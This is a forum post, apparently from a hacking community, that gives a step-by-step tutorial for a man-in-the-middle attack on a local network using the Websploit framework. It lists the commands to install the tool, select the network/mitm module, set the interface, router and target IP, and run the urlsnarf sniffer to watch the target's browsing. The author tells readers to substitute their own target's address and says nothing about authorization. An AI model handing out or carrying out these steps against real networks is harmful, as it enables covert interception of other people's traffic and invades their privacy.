Websploit - high level MITM framework

Bannyblanco

Professional
Messages
158
Reaction score
134
Points
43
his is my first tutorial, so don't hesitate to give me some constructive feedback!
I assume most of you know what a Man in the Middle (MitM) attack is, but here is a diagram of a Man in the Middle attack. I will be using the Parrot Security OS, but you can use most Linux distributions.
web1.jpg

For this MitM attack we are going to need Websploit, so let's get it now. Anything in bold needs to be run in a console.

Step 1Install Websploit​

First open up a terminal and type:

sudo apt-get install websploit

Step 2Launch Websploit​

Once that finishes, you will need to launch Websploit by typing:

websploit

By doing this it will open a nice interactive console for us!

web2.jpg

Select the MitM Module​

Next let's type:

show modules

so we can see which one to use.
web3.jpg

The one we want to use is "network/mitm". We can select it by typing:

use network/mitm
web4.jpg

Set the Options

Let's take a look at the options we need to set by doing:

show options
qwb5.jpg

We can see that we need to set all of the options, so let us do that!

set Interface wlan0

set ROUTER 192.168.8.1
(To find yours do a netdiscover in a new terminal and it should be the first IP that appears. Normally it ends with a 1 or 0.)

set TARGET 192.168.8.112 (I'm just targeting my computer, but you should replace this with your target's IP)

set SNIFFER urlsnarf (Or you can use other sniffers available in the list.)
web6.jpg

Run the Attack!

Now we are going to do what we have been waiting for... Run the attack! All you have to do is type:

run
Now if the target navigates to a website, we will see it appear in our console!

web8.jpg


Now if the target navigates to a website, we will see it appear in our console!

This is only one of the sniffers that you can use, so I would recommend you trying out the others!

(If you hadn't noticed already, the syntax and interface of Websploit is a lot like Metasploit!)
 
Top